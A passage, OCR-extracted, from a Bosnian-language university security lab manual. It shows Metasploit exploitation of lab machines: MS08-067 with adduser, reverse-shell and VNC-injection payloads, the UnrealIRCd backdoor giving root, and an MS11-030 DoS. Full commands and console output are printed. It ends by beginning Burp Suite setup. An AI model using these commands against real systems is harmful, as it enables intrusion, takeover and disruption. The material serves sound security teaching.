Opcija RPORT odnosi se na broj porta na koji je potrebno poslati kod. Posto
se ovdje radi o iskoriStavanu propusta u izvedi SMB protokola, port je inicijalno
podesen na standardni broj za ovaj protokol, 445, i nije ga potrebno mijenjati.
Sliéno je i sa opcijom SMBPIPE. Metasploit kodovi za iskoristavanje istog sigur-
nosnog propusta mogu se nesto razlikovati za razlicite verzije OS. Za ovu namjenu
sluzi opcija ”Exploit target”. Sre¢om, za korisnike Metasploit, ova opcija Cesto
ima vrijednost postavljenu da automatski utvrdi potrebno verziju za OS na kom
se iskoriStava propust, kako je to ovdje slucaj. Ako postoji ponudeno vise verzija
OS ponudenih kao moguce zrtve napada potrebno je izabrati onu koju ciljani
racunar ima.

Nakon podesavanja opcija potrebno je izabrati kod za obavljanje zlonamjer-
nih akcija (payload). Lista dostupnih kodova za ovaj sigurnosni propust dobiva
se upotrebom komande show payloads. Za izabrani propust postoji nekoliko de-
setina ovih kodova. Komanda i ispis prvih nekoliko kodova prikazani su na slici
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8.5.

msf exploit( ) > show payloads

Compatible Payloads

Name Disclosure Date Rank
Description

generic/custom normal
Custom Payload

generic/debug_trap normal
Generic x86 Debug Trap

generic/shell_bind_tcp normal
Generic Command Shell, Bind TCP Inline

generic/shell_reverse_tcp normal
Generic Command Shell, Reverse TCP Inline

generic/tight_loop normal
Generic x86 Tight Loop

windows /adduser normal
Windows Execute net user /ADD

windows/dllinject/bind_hidden_ipknock_tcp normal

Slika 8.5: Metasploit lista kodova za obavljanje zlonamjernih akcija

Izbor koda se vrsi unosenjem komande set payload i naziva koda. Za pocetak
¢e biti izabran kod koji na napadnutom OS dodaje korisnika sa korisnickim ime-
nom i lozinkom po izboru napadaca. Ovaj napad je relativno jednostavan jer nije
interaktivan. Konkretna komande je:
set payload windows/adduser

Izabrani kod za obavljanje zlonamjernih akcija ima svoje parametre. Oni se
prikazuju upotrebom iste komande kao i ranije show options. Komanda sada
pored ranije postavljenih opcija prikazuje i opcije koda za obavljanje zlonamjernih
akcija, kako se vidi na slici 8.6.

U ovom slucaju sve neophodne opcije imaju inicijalne vrijednosti. Za po-
trebe vjezbe bice izmijenjeni korisnicko ime i lozinka korisnika koji se zeli kreirati
na napadnutom Windows XP OS. Izabrano korisnicko ime je ”zli”, a lozinka
"N1jeD0bro”*. Konkretne komande su;
set USER Z1i

4 Lozinka mora zadovoljavati minimalne uslove kompleksnosti koji su duzina od bar
osam znakova, te po jedno veliko i malo slovo, te cifra i posebni znak.
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msf exploit( ) > show options

Module options (exploit/windows/smb/ms@8_067 netapi):

Name Current Setting Required Description

RHOST 192.168.10.130 yes The target address

RPORT 445 yes The SMB service port

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/adduser):

Name Current Setting Required Description

CUSTOM no Custom group name to be used instead of
default

EXITFUNC thread yes Exit technique (Accepted: '', seh, threa
d, process, none)

PASS Metasploit$1 yes The password for this user

USER metasploit yes The username to create

WMIC false yes Use WMIC on the target to resolve admini

strators group

Exploit target:

Id Name

8 Automatic Targeting

msf exploit( N |

Slika 8.6: Metasploit opcije koda za obavljanje zlonamjernih akcija

set PASS N1jeDObro

Sada je sve spremno za napad. PodeSenje opcija se moze provjeriti ponovnim
kucanjem komande show options. Upotrebom komande set moguce je dobiti
detaljniji ispis svih opcija.

Napad se pokrece komandom exploit. UnoSenje komande i ispis u Metasploit
konzolu prikazani su na slici 8.7.

Metasploit u konzoli ispisuje korake koje je uradio. U svakoj liniji ispisana je
IP adresa i port na koji je poslan napad. U prvoj linije je informacija o automat-
skom otkrivanju OS na napadnutom racunaru. U drugoj i trecoj da je otkriven
Windows XP SP3. U ¢etvrtoj informacija da je napadacki kod poslan. U petoj,
posljednjoj, da je napad zavrsen, ali da nije uspostavljena nikakva sesija sa napad-
nutim ra¢unarom. Posto se ovdje radi o napadu kod koga nema dalje interakcije
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=
L
~h

exploit(ms08_067_netapi) > exploit

*
e

192.168.10.130:445 - Automatically detecting the target...
192.168.10.130:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
192.168.10.130:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
192.168.10.130:445 - Attempting to trigger the vulnerability...

Exploit completed, but no session was created.

exploit(msos_067 netapi) > |

*

Easlaeloslonlan]
* %
el

[l

*
[~ b b

Slika 8.7: Metasploit izvrsenje napada ”adduser”

sa napadnutim raCunarom, sesija i nije trebala biti uspostavljena. Rezultati na-
pada mogu se provjeriti na napadnutom racunaru. Pojavio se novi korisnik ” ZI1i”
(slika 8.8) i mogucde se prijaviti kao taj korisnik unosenjem lozinke ”"N1jeD0bro”
(slika 8.9).

Windows

To begin, click your user name

Slika 8.8: Metasploit rezultat napada - dodat korisnik

Da bi se pokazalo kako se za razli¢it sigurnosni propust mogu koristiti razliciti
kodovi, isti kod za iskoriStavanje sigurnosnog propusta koristen maloprije, bice
kombinovana sa dva razlicita koda za obavljanje zlonamjernih akcija.

Prvi kod omoguéava dobivanje pristupa komandnoj liniji na racunaru na kom
je pronaden sigurnosni propust. Za ovo se koriste kodovi iz grupe "windows/-
shell/”. Postoje sli¢ni kodovi i za druge OS, Sto ¢e kasnije biti pokazano. Ovih
kodova postoji vise i razlikuju se po tome kako se uspostavlja mrezna konek-
cija po kojoj se pristupa udaljenom racunaru. Jednu grupu ¢ine ”bind” kodovi
gdje se sa racunara napadaca uspostavlja konekcija ka napadnutom ra¢unaru. Da
bi se ovo ostvarilo potrebno je da je mogué pristup u tom pravcu po izabranom
portu. Posto je vrlo ¢esto ovako nesto sprijeceno firewall pravilima na putu ka na-
padnutom racunaru onda se koristi obrnuto inicirana konekcija. Kodovi iz grupe
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Internet Explorer

} b My Recent Documents #
f vl E-mail

Outlook E:
" -f) My Pictures
- :
5M ‘_,J My Music
g‘ My Computer
® wWindows Media Player
E’ Contral Panel
,4$ Windows Messenger

Set Program Access and

é Internek '_} My Documents

Defaults
I@ . .}:"'é Printers and Faxes
© Files and Settings Transfer .
0 Wizard & @ Help and Support

p Search

All Programs D

og CFf | 0] | Turn CFf Computer

Slika 8.9: Metasploit rezultat napada - prijava kao dodati korisnik

"reverse” uspostavljaju konekciju od napadnutog ra¢unara ka napadackom. Ako
se pogodno izabere broj porta postoje velike Sanse da ova konekcija bude dozvo-
ljena, pogotovo ako se koriste standardno dozvoljeni HTTP (80) i HTTPS (443)
portovi. Ovdje ¢e radi jednostavnosti biti zanemareno ovo pitanje, ali ¢ée biti
detaljnije obradeno u slijede¢em poglavlju. Takode je potrebno da na racunaru
napadaca postoji server koji prihvata konekciju sa napadnutog ra¢unara po kojoj
se pristupa komandnoj liniji. Izabran je kod komandom:

set payload windows/shell/reverse_tcp

Ovo je nastavak prethodnog napada gdje je ve izabran sigurnosni propust i
podesene njegove opcije. Ako to nije slu¢aj potrebno je ponoviti gornje komande
za ovu namjenu. Kada se prikaze skup opcija za ovaj kod on je nesto drugaciji
(8to se vidi sa slike 8.10).
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@ S smrdovic@VB1604: ~/Documents/TS

msf exploit( 5 ) > set payload windows/shell/reverse_tcp
payload == w1ndowsjshell}reverse tcp
msf exploit( i ) > show options

Module options (exploit/windows/smb/ms®8_067_netapi):

Name Current Setting Required Description

RHOST 192.168.160.130 yes The target address

RPORT 445 yes The SMB service port

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SR

Payload options (windows/shell/reverse_tcp):

Mame Current Setting Required Description

EXITFUNC thread yes Exit technique (Accepted: '', se
d, process, none)

LHOST yes The listen address

LPORT 4444 yes The listen port

Exploit target:

Id Name

5] Automatic Targeting

msf exploit( api) > B

Slika 8.10: Metasploit opcije za shell/reverse_tcp

Za ovaj napad potrebno je, u opciji LHOST, podesiti adresu ra¢unara sa ko-
jim ¢ée napadnuti racunar uspostaviti konekciju po kojoj ¢e se ostvariti pristup
komandnoj liniji na napadnutom ra¢unaru. Ovdje Ce se unijeti adresa napadackog
racunara, ali to moze biti i neki drugi racunar na kom je onda neophodno pokre-
nuti server koji ¢e prihvatati konekcije:
set LHOST 192.168.10.134

Opcija LPORT ocekivano definiSe broj porta po kom ¢e ta konekcija biti us-
postavljena. Ovdje je ostavljena inicijalna vrijednost 4444, jer nema filtriranja
portova portova u ovom slucaju (firewall na napadnutom rac¢unaru nije aktivan).

Napad se, kao i u prethodnom slu¢aju, pokrec¢e komandom exploit. UnoSenje
komande i ispis u Metasploit konzoli prikazani su na slici 8.11.

U Metasploit konzoli mogu se vidjeti izvrSeni koraci. Posljednji od koraka je
otvaranje sesije sa komandnom linijom. Ispod toga je komandna linija sa napad-

185
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@ 2 A smrdovic@VB1604: ~/Documents/TS

msf exploit(ms08_067_netapi) > set LHOST 192.168.160.134
LHOST => 192.168.10.134
msf exploit(ms 7_netapi) > exploit

] Started reverse TCP handler on 192.168.10.134:4444

] 192.168.10.130:445 - Automatically detecting the target...

] 192.168.10.130:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
] 192.168.10.130:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)

] 192.168.10.130:445 - Attempting to trigger the vulnerability...

] Encoded stage with x86/shikata_ga_nai

] Sending encoded stage (267 bytes) to 192.168.10.130

1 Command shell session 1 opened (192.168.10.134:4444 -> 192.168.10.130:1035) |
t 2016-10-24 12:50:20 +0200

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>]}

Slika 8.11: Metasploit izvrSenje napada shell/reverse_tcp”

nutog racunara. To se moze lako provjeriti ispisivanjem Windows komande za
dobivanje informacija o IP podeSenjima racunara ipconfig. Ispis nakon ove ko-
mande potvrduje da je to komandna linija na napadnutom racunaru kako se vidi
sa slike 8.12.

@ ® E smrdovic@VB1604: ~/Documents/TS

[*] Encoded stage with x86/shikata_ga_nai

[*] sending encoded stage (267 bytes) to 192.168.10.130

[*] Command shell session 1 opened (192.168.10.134:4444 -> 192.168.10.130:1035)
at 2016-10-24 12:50:20 +0200

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . :

IP Address. . . . . = - - = . . . & 192.168.168.138
Subnet Mask . . . . . . . . o . . oz 255.255.255.8
Default Gateway . . . . . . . . . @ 192.168.10.1

Slika 8.12: Metasploit potvrda uspjesnosti napada - IP adresa
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Sa pristupom komandnoj liniji moze se raditi sve §to ovaj pristup omogucéava.
Sesija sa napadnutim ra¢unarom se prekida unosenjem kombinacije tipki Ctrl-C

Treéi kod za obavljanje zlonamjernih aktivnosti koji ¢e biti pokazan je onaj
koji omogucava udaljeni pristup grafickom okruzenju napadnutog racunara. Za
ovu namjenu se Kkoristi ”vncviewer” koji je potrebno instalirati na napadacki
racunar, ako veé nije instaliran. Instalacija se u konkretnom slu¢aju, na Ubuntu
16.04 svela na komandu:
sudo apt-get install vncviewer

Zlonamjerni kod koji se izvrsava ¢e izvrsiti ubacivanje i pokretanje koda koji ¢e
omogucditi vncviewer-u na racunaru napadaca da ostvari zeljeni pristup grafickom
okruzenju na napadnutom racunaru preko mrezne konekcije uspostavljene na
slican nac¢in kao i u proslom primjeru. Komanda za izbor ovog koda je:
set payload windows/vncinject/reverse_tcp

Po izboru ovog koda skup opcija je opet nesto drugaciji, Sto se vidi sa slike
8.13).

Posto Metasploit pamti podeSenja opcija iz prethodnih koraka sve potrebne
opcije, RHOST, RPORT, LHOST i LPORT, su ve¢ podesene. Jedino je, u od-
nosu na zadane vrijednosti, promijenjena opcija ”ViewOnly” na false. Ovim
je omoguéeno ne samo nadzor akcija korisnika prijavljenog na racunar veé i
puna kontrola. Izvrsenje napada pokreée se uobicajenom komandom exploit.
UnosSenje komande, ispis u Metasploit konzoli rezultat prikazani su na slici 8.14.

U Metasploit konzoli mogu se vidjeti izvrSeni koraci. Rezultat napada je
vncviewer pristup napadnutom racunaru koji se vidi u pozadini slike. Napadac
sada ima punu kontrolu napadnutog ra¢unara kao da sjedi za njim. Tako ovaj na-
pad izgleda jako dobro, on ima ozbiljne nedostatke. Akcije napadaca su vidljive
korisniku napadnutog ra¢unara, a njihovo izvrsavanje moze biti prili¢no sporo u
slucaju konekcije ograni¢ene propusnosti.

8.2.2 Iskoristavanje sigurnosnog propusta na Linux OS

Na osnovu otkrivenog sigurnosnog propusta CVE-2010-207 (u prethodnoj vjezbi)
na racunaru sa Metasploitable2 instalacijom izvrSena je pretraga na Metasploit
za kodom za njegovo iskoristavanje. Nakon $to je utvrdeno da postoji kod za
iskoristavanje zeljnog sigurnosnog propusta Metasploit-u je receno da koristi taj
kod unosenjem komande use i naziva koda. Ovdje:
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@S5 smrdovic@VB1604: ~/Documents/TS ]
msf exploit(ms08_067_netapi) > set ViewOnly false

ViewOnly => false

msf exploit(ms@s_067_netapi) > show options

Module options (exploit/windows/smb/ms@8 067 netapi):

) Name Current Setting Required Description
. RHOST 192.168.10.130 yes The target address
RPORT 445 yes The SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/vncinject/reverse_tcp):

Name Current Setting Required Description

AUTOVNC true yes Automatically launch VNC vie
wer if present
, DisableCourtesyShell true no Disables the Metasploit Cour
tesy shell

EXITFUNC thread yes Exit technique (Accepted: "'
|, seh, thread, process, none)
i LHOST 192.168.10.134  yes The listen address
| LPORT 4444 yes The listen port

VNCHOST 127.0.8.1 yes The local host to use for th
le VNC proxy
! VNCPORT 5900 yes The local port to use for th
le VNC proxy

ViewOnly false no Runs the viewer in view mode

Exploit target:

Id Name

8 Automatic Targeting

Slika 8.13: Metasploit opcije za vncinject/reverse_tcp

use exploit/unix/irc/unreal_ircd_3281_backdoor

Nakon toga prompt u Metasploit konzoli se mijenja i pokazuje da je izabran
odredeni kod:
msf exploit(unreal_ircd_3281_backdoor) >

Dostupne opcije za izbrani kod su RHOST i RPORT. Kao RHOST potrebno
je podesiti IP adresu racunara na kom je Nessus pronasao ovaj sigurnosni propust
(192.168.10.105). Ovo se radi komandom:
set RHOST 192.168.10.105



8.2 Metasploit - iskori§tavanje sigurnosnih propusta i obavljanje zlonamjernih akcija 189

=\Documents and Settings\Sasa>ipconfig

indows IP Conf iguration

[Echernet adapter Local Area Connection:

Connection-specific DNS Suffix :
IP Address 2 192.168.10.130
Subnet Mas] = 255255 255.0
Default Gateway . . . . . . . . . : 192.168.10.1

i\Documents and Settings\Sasal>
©©© smrdovic@VB1604: ~/Documents/TS
nsf exploit(nsos_667_netapi) > exploit

started reverse TCP handler on 192.168.10.134:4444

192.168.10.130:445 - Automatically detecting the target...

192.168.10.130:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
192.168.10.130:445 - Selected Target: Windows XP SP3 English (Alwayson NX)
192.168.10.130:445 - Attempting to trigger the vulnerability...

Sending stage (401920 bytes) to 192.168.10.130

Starting local TCP relay on 127.0.0.1:59€0...

Local TCP relay started.

Launched vncviewer.

Session 2 created in the background.

Insf exploit(ms08_667_netapi) > Connected to RFB server, using protocol version 3

| Internet ) My Documents
Mezila Fiefox
. %) My Recent Documents »
) E-mail
Sl Gutlook Express )y
My Pictures

.8
Enabling TightVNC protocol extensions

=R » 5
Cmaﬂd%w /sy No authentication needed
g;mump“m AuthEntlEatlolI"\ successful .
élntemetExp\wer Desktop name "viirtual-xp-sp3
VNC server default format:
o [ conolparel 32 bits per pixel.
& @sewvagvamccessand Least significant byte first in each pixel.

True colour: max red 255 green 255 blue 255, stht red 16 green S blue ©
[Warning: Cannot convert string "-*-helvetica- bold e L *-x" to typ
e FontStruct
\ Using default colormap which is TrueCelor. Pixel format:
g_)He\uandSuDDth 32 bits per pixel.
"_)g.w(h Least significant byte first in each pixel.
True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 6
T Runes Same machine: preferring raw encoding
AllPrograms [ Insf exploit(ms08_067_netapi) > I

2 Printers and Faxes

Slika 8.14: Metasploit izvrenje napada ”vncinject/reverse_tcp”

Opciju RPORT nije potrebno mijenjati jer je inicijalno postavljena na vrijed-
nost 6667, sto je jednako broju porta na kom je Nessus pronasao ovaj sigurnosni
propust.

Metasploit ima podrazumijevani kod za obavljanje zlonamjernih akcija (payload)
koji za ovaj sigurnosni propust omogucava dobivanje pristupa komandnoj liniji
na napadnutom racunaru. Pokretanjem komande exploit napad se izvrsava.
Unosenje komande i ispis u Metasploit konzoli prikazani su na slici 8.15.

U Metasploit konzoli mogu se vidjeti izvrSeni koraci. Posljednji od koraka je
otvaranje sesije sa komandnom linijom. Ispod toga je prazna linija koja predstav-
lja komandnu liniju sa napadnutog racunara. Ovdje se ne ispisuje znak za pristup
komandnoj liniji ($ ili #). Ispisivanjem komande whoami se moze provjeriti kao
koji korisnik imamo pristup komandnoj liniji, te komande ifconfig koja je IP
adresa rac¢unara na kom imamo taj pristup. Rezultat izvrsavanja ovih komandi
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msf exploit(unr re ckdoor) > exploit

[*] Started reverse TCP double handler on 192.168.10.134:4444

[*] 192.168.10.105:6667 - Connected to 192.168.10.105:6667...

:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...

[*] 192.168.10.105:6667 - Sending backdoor command...

[*] Accepted the first client connection...

[*] Accepted the second client connection...

[*] Command: echo Vz4gTtBaThjkvtui;

[*] Writing to socket A

[*] Writing to socket B

[*] Reading from sockets...

[*] Reading from socket B

[*] B: "Vz4gTtBaThjkvtui\r\n"

[*] Matching...

[*] A is input...

[*] Command shell session 1 opened (192.168.10.134:4444 -> 192.168.10.105:55918)
at 2016-11-22 14:55:52 +0100

Slika 8.15: Metasploit izvrSenje napada na Metasploitable2

vidi se na slici 8.16.

[*] Command shell session 1 opened (192.168.10.134:4444 -> 192

at 2016-11-22 14:55:52 +0100

whoami
root
ifconfig

ethe Link encap:Ethernet HWaddr 08:00:27:aa:89:ae
inet addr:192.168.10.105 Bcast:192.168.10.255 Mask
inet6 addr: fe80::a00:27ff:feaa:B89ae/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1588 Metric:1
RX packets:109 errors:0 dropped:® overruns:@ frame:®
TX packets:111 errors:® dropped:® overruns:® carrier:

collisions:® txqueuelen:18686

RX bytes:13543 (13.2 KB) TX bytes:11963 (11.6 KB)
Base address:®xd010 Memory:f0000000-T0020000

Lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1

RX packets:228 errors:0 dropped:® overruns:@ frame:®
TX packets:228 errors:® dropped:® overruns:@ carrier:

collisions:® txqueuelen:@®

RX bytes:85537 (83.5 KB) TX bytes:85537 (83.5 KB)

.168.10.105:55918)

:255.255.255.0

Slika 8.16: Metasploit potvrda uspjesnosti napada - korisnik i IP adresa



8.2 Metasploit - iskoristavanje sigurnosnih propusta i obavljanje zlonamjernih akcija 191

Sa pristupom komandnoj liniji moze se raditi sve §to ovaj pristup omogucéava.
Sesija sa napadnutim ra¢unarom se prekida unosenjem kombinacije tipki Ctrl-C

8.2.3 Iskoristavanje sigurnosnog propusta za DoS napad

Prema rezultatima Nessus skeniranja pronaden je sigurnosni propust i na rac¢unaru
sa IP adresom 192.168.10.143. Taj sigurnosni propust je identificiram Microsoft
oznakom MS11-030. Napravljena je pretraga po tom pojmu, rezultati pretrage
prikazani su na slici 8.17.

msf > search MS11-030

Matching Modules

Name Disclosure Date Rank Descrip
tion
auxiliary/dos/windows/1lmnr/ms11_030_dnsapi 2011-04-12 normal Microso

ft Windows DNSAPI.d1ll LLMNR Buffer Underrun DoS

Slika 8.17: Metasploit pretraga za MS11-030

U ovom slu¢aju nije pronaden kod za iskori§tavanje sigurnosnih propusta (ex-
ploit) ve¢ samo pomoéni kod. Tako u opisu sigurnosnog propusta stoji da je njego-
vim iskori§tavanjem moguée izvrsiti komande po zelji napadaca na napadnutom
racunaru, ta je moguénost vise teoretske prirode. Autoru nije poznat kod koji
zaista omogucava ovakvo nesto. Iz tog razloga i Metasploit ima samo modul koji
omogudéava napada koji onemogudéava koristenje usluge (DoS). To je dobra prilika
da se ukaze na situaciju da pronalazak sigurnosnog propusta ne mora neophodno
znaciti i da ga je moguce iskoristiti, Takode je prilika da se pokaze kako se koriste
i drugi Metasploit moduli.

Izabrano je da se koristi ovaj modul komandom:
use auxiliary/dos/windows/llmnr/ms11_030_dnsapi

Nakon toga prompt u Metasploit konzoli se mijenja i pokazuje da je izabran
odredeni modul:
msf exploit(/ms11.030_dnsapi) >
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Dostupne opcije za izbrani kod su RHOST i RPORT. Za RHOST je inicijalna
vrijednost 224.0.0.252. Ovo je multicast adresa za Link-local Multicast Name Re-
solution (LLMNR). Ovu adresu nije potrebno mijenjati jer ée slanjem napada
na tu adresu isti biti isporucen racunaru koji u lokalnoj mrezi osluskuje na ovoj
adresi, a to je u ovom slucaju samo ra¢unar koji se zeli napasti. Inicijalna vrijed-
nost za RPORT je 5355. To je broj UDP porta na kom se nalazi mrezna usluga
koja se napada i nije je potrebno mijenjati.

Posto ovaj napad onemogucava rad mrezne usluge napravljen je uvid u rad te
usluge (service) DNS Client na Windows ra¢unaru koji se napada prije napada.
Na slici 8.18 je prikazano nekoliko ekrana na kojima se vidi status ove usluge na
tom racunaru prije napada.

1% Windows Task Manager [ E|=]
File Options View Help

| Applications IProcesses Services | performance | Networking I Users |

W)=[%

=

Mame PID Description Status Group =
Dnscache 2644 DNS Clien Runn... NetworkSe...

T Labe_ t g

Control Panel

womnd.exe

[suchost.exel

»Windows~system3d2>netstat —abop wdp | findstr :5355
uDp A.A.0.8:5355 D

IC:~Windows~system32>

-

DNS Client Mame Description Status Startup Type
+ L Distributed Transacti.. Coordinates transactio... Manual

Stop the service (=1

wi DNS Client The DMS Client service .. Started Autematic

- | 1

Restart the service

\Ex‘tended /(Standard/

Slika 8.18: Stanje usluge DNS Client prije napada

Pokretanjem komande exploit napad se izvrSava. UnoSenje komande i ispis
u Metasploit konzoli prikazani su na slici 8.19.

U Metasploit konzoli mogu se vidjeti izvrSeni koraci. U tim koracima piSe i
informacija da ¢e se napadnuta usluga ponovo sama pokrenuti i da je za njeno
zaustavljanje potrebno ponoviti napad nakon pet minuta. I zaista nakon prvog
izvrSenja napada DNS klijent je bio privremeno zaustavljen, ali se ubrzo sam po-
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msf auxiliary(m i) > exploit

[*] Sending Ipv6 LLMNR query to 224.0.0.252

[*] Sending Ipv4 LLMNR query to 224.0.0.252

[*] Note, in a default configuration, the service will restart automatically twi
ce.

[*] In order to ensure it is completely dead, wait up to 5 minutes and run it ag
ain.

[#] Auxiliary module execution completed

Slika 8.19: Metasploit izvrSenje napada na MS11-030

novo pokrenuo. Nakon drugog izvrsenja napada ponovnim unosenjem komande
exploit DNS klijent je zaustavljen sto se moze vidjeti sa slike 8.20.

1% Windows Task Manager (== ]=]
File Options View Help

|Applications IProcesses Services | Performance | Networking IUsers |

O

=

Name FID Description Status Group e
Dnscache DNS Client Stop...  MNetworkSe...

e

Control Panel

BN Administrator: VindowshSysterr md.exe =8 |

sUWindowsssystem32inetstat —abop wdp | findstr :-5355
uDp B.A.A.@:5355 Bt 2644

:SWindowsssystem32rnetstat —abop wdp | findstr 5355

SWindowsssystem32>

DNS Client Name Description Status Startup Type L

) & Distributed Transacti... Coordinates transactio... Manual I

Start the service =1 25 DNS Client The DNS Client service ... Automatic D
- 4| 1

\ Extended /(Standard /

Slika 8.20: Stanje usluge DNS Klijent nakon napada

Ovo je bio kratak pregled osnovnih funkcionalnosti Metasploit-a. U narednim
poglavljima Metasploit ¢e biti jo$ koriSten pa ée se pokazati i neke druge, na-
prednije, moguénosti. Ipak ovo je alat o kom se drze posebni kursevi i o kom su
napisane Citave knjige. Za viSe detalja preporucuje se koristenje obimne Metas-
ploit literature [44] ili knjige posveéene ovom alatu [21].
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Metasploit nije jedini softver koji se moze koristiti za ove namjene, ali jeste
najkompletniji. U prethodnom poglavlju spomenuti Core Impact, pored funkcija
skeniranja ima i funkciju provjere moguénosti iskoriStavanja otkrivenih sigurnos-
nih propusta.
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VJEZBA: Testiranje razli¢itih sigurnosnih
propusta u web aplikaciji

Cilj ove vjezbe je upoznavanje studenata sa posebnostima web aplikacija sa as-
pekta sigurnosti. U sklopu vjezbe bi¢e obradene neke metode i alati za otkrivanje
potencijalnih sigurnosnih propusta u web aplikacijama.Za teoretsko objasnjenje
ovih operacija vidjeti knjigu [32] koja je uskladena sa ovim vjezbama.

9.1 Priprema

9.1.1 BurpSuite

Instalirati i pokrenuti Burp Suite platformu za testiranje sigurnosti web aplika-
cija koja ukljucuje i proxy. Podesiti web preglednik da koristi Burp proxy.

Rjesenje: Burp Suite moze se preuzeti sa stranica kompanije PortSwigger
(portswigger.net) sa lokacije:
https://portswigger.net/burp/download.html

Slicno Nessus i Metasploit i BurpSuite ima besplatnu (Free) i verziju koja
se placa (Professional). Za potrebe pokazivanja principa rada i osnovnih funk-
cionalnosti besplatna verzija ¢e biti dovoljna. Profesionalna verzija kostala je, u
vrijeme pisanja, 349 USD godisnje i za profesionalno testiranje web aplikacija
vrijedi platiti ovu cijenu.

Izabrana je Free verzija i pokrenuto preuzimanje klikom na dugme ”Download
now”. Aktuelna verzija, u vrijeme pisanja, bila je 1.7.10. Nude se dvije verzije
dokumenta za preuzimanje ”"Download for Linux” i "Download plain .JAR file”.
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Burp Suite je Java aplikacija, i moze se koristiti i na Windows i Linux OS. Za
njeno pokretanje i koriStenje potrebno imati instaliran Java JRE. Ovdje ¢e biti
pokazani koraci upotrebe na Linux Ubuntu 16.04.

Ako Java JRE nije instalirana potrebno je instalirati sa komandom:
sudo apt-get install default-jre

Mogucée je preuzeti JAR datoteku i pokrenuti je na isti nacin, na svim OS:
java -jar /putanja_do_datoteke/burpsuite_verzija.jar

Ovdje je preuzeta verzija za Linux koja predstavlja instalacionu skriptu za
Burp Suite na Linux. Datoteka koje se preuzme ima naziv
burpsuite_free_ linux_v1_7_10.sh. Po preuzimanju potrebno je uéiniti izvrsnom.
To je ovdje uéinjeno pozicioniranjem u folder gdje se smjestena datoteka i kuca-
njem komande;
chmod +x burpsuite_free_linux_v1.7_10.sh

Potom je skripta pokrenuta, sa iste lokacije, komandom:
sudo ./burpsuite_free_linux v1.7_10.sh

Nakon pokretanja skripte pojavljuje se, standardni, ekran za instalaciju apli-
kacija. U ovom, prvom ekranu, potrebno je kliknuti dugme ”Next” za nastavak
instalacije. Na drugom ekranu nudi se moguénost promjene lokacije ne koju ée
Burp Suite biti instaliran. Prihvaéena je ponudena lokacija /opt/BurpSuiteFree.
Na narednom ekranu nudi se pravljenje simbolickih linkova na izvrsne datoteke
Burp Suite na lokaciji /usr/local/bin, koju je moguce promijeniti. Prihvac¢eno
je pravljenje linkova na ponudenoj lokaciji. Nakon ovog izbora pokrece se insta-
lacija koja traje kratko i po ¢ijem zavrSetku se pojavljuje ekran sa informacijom
o uspjesnoj instalaciji koji je potrebno zatvoriti klikom na dugme ”Finish”.

Po uspjesnoj instalaciji Burp Suite je moguée pokrenuti kucanjem komande
BurpSuiteFree.

Pri prvom pokretanju potrebno je prihvatiti uslove koristenja. Nakon toga
otvara se ekran u kom bi se mogao definisati projekat koji je mogucée saCuvati
na disk, ali ova opcija nije dostupna u besplatnoj verziji, pa je samo potrebno
kliknuti na dugme ”Next”. Na slijede¢im ekranu moguce je ucitati Burp konfigu-
raciju iz datoteke ili koristiti inicijalne postavke. Kako nema sacuvane datoteke
sa konfiguracijom, prihvaceno je koristenje inicijalnih postavki. Na ovom ekranu
je i dugme ”Start Burp” za pokretanje Burp Suite. Klikom na dugme Burp Suite
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se pokrece i pojavljuje se pocetni ekran kao na slici 9.1.

Burp Suite Free Edition v1.7.10 - Temporary Project

Burp Intruder Repeater Window Help
[ Sequencer T Decoder T Comparer T Extender T Project options T User options T Alerts ]
Target T Proxy T Spider T Scanner T Intruder T Repeater ]
Site map | Scope
| Filter: Hiding not found items; hiding C55, image and general binary content; hiding 4« responses; hiding empty folders |@
Host | Method | URL | Params | Stat.. 4| Length | MIME type | Title
| < i .
| Request | Response
|
Raw Hex
| A
|
! [
¥
Z < == = Type a seart 0 matches

Slika 9.1: Burp Suite - osnovni ekran

Burp Suite radi kao posrednik (prozy) kroz koji idu svi zahtjevi ka web aplika-
ciji i odgovori od nje. Po inicijalnoj postavei (u koristenoj verziji) ovaj posrednik
osluskuje na portu 8080. Posto WebGoat, koji ¢e biti instaliran u slijede¢em
koraku, koristi isti port, a obje aplikacije ¢e biti pokrenute na istom racunaru,
potrebno je promijeniti jednu od njih. Ovdje ée biti promijenjen port koji koristi
Burp Suite!. Promjena se vrii pute menija: Proxy—Options. Izgled ovog ekrana
prikazan je na slici 9.2.

Da bi se izvrsila promjena potrebno je zaustaviti prozy odznacavanjem kuéice
u koloni ”Running”. Nakon toga potrebno je kliknuti na dugme ”Edit” i u prozoru
koji se otvori promijeniti broj porta na zeljeni. Ovdje je izabran broj 8888. Kli-
kom na dugme ”OK” potvrdena je promjena i vra¢a se na ekran za podeSavanje
prozxy. Sada je ponovo potrebno pokrenuti prory oznacavanjem kucice u koloni

! Mogao bi se promijeniti i port na kom radi WebGoat, §to ¢e biti pomenuto prili-
kom opisa WebGoat. Moguée je WebGoat, ili drugu web aplikaciju, koja se testira
pokrenuti na drugom ra¢unaru i onda nema potrebe za promjenom brojeva portova.
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Burp Suite Free Edition v1.7.10 - Temporary Projeck

Burp Intruder Repeater Window Help

Sequencer T Decoder T Comparer T Extender T Project options T User options TAIer‘ts
Target Proxy Spider T Scanner Intruder T Repeater

[ Intercept T HTTP history T WebSockets history T Options ]

o : i
(2 Proxy Listeners :)
@ Burp Proxy uses listeners to receive incoming HTTP requests from your browser. You will need to configure yo
proxy server.
